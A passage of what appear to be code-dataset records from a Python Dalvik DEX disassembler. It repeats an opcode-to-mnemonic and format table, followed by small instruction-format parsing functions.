'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT31T(buffer, dex_object, pc_point, offset): bbbbbbbb, = struct.unpack_from("i", buffer, 2) return ( dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), "string@%d" % bbbbbbbb)
null
17,387
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT32X(buffer, dex_object, pc_point, offset): aaaa, bbbb, = struct.unpack_from("hh", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % aaaa, "v%d" % bbbb)
null
17,388
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', 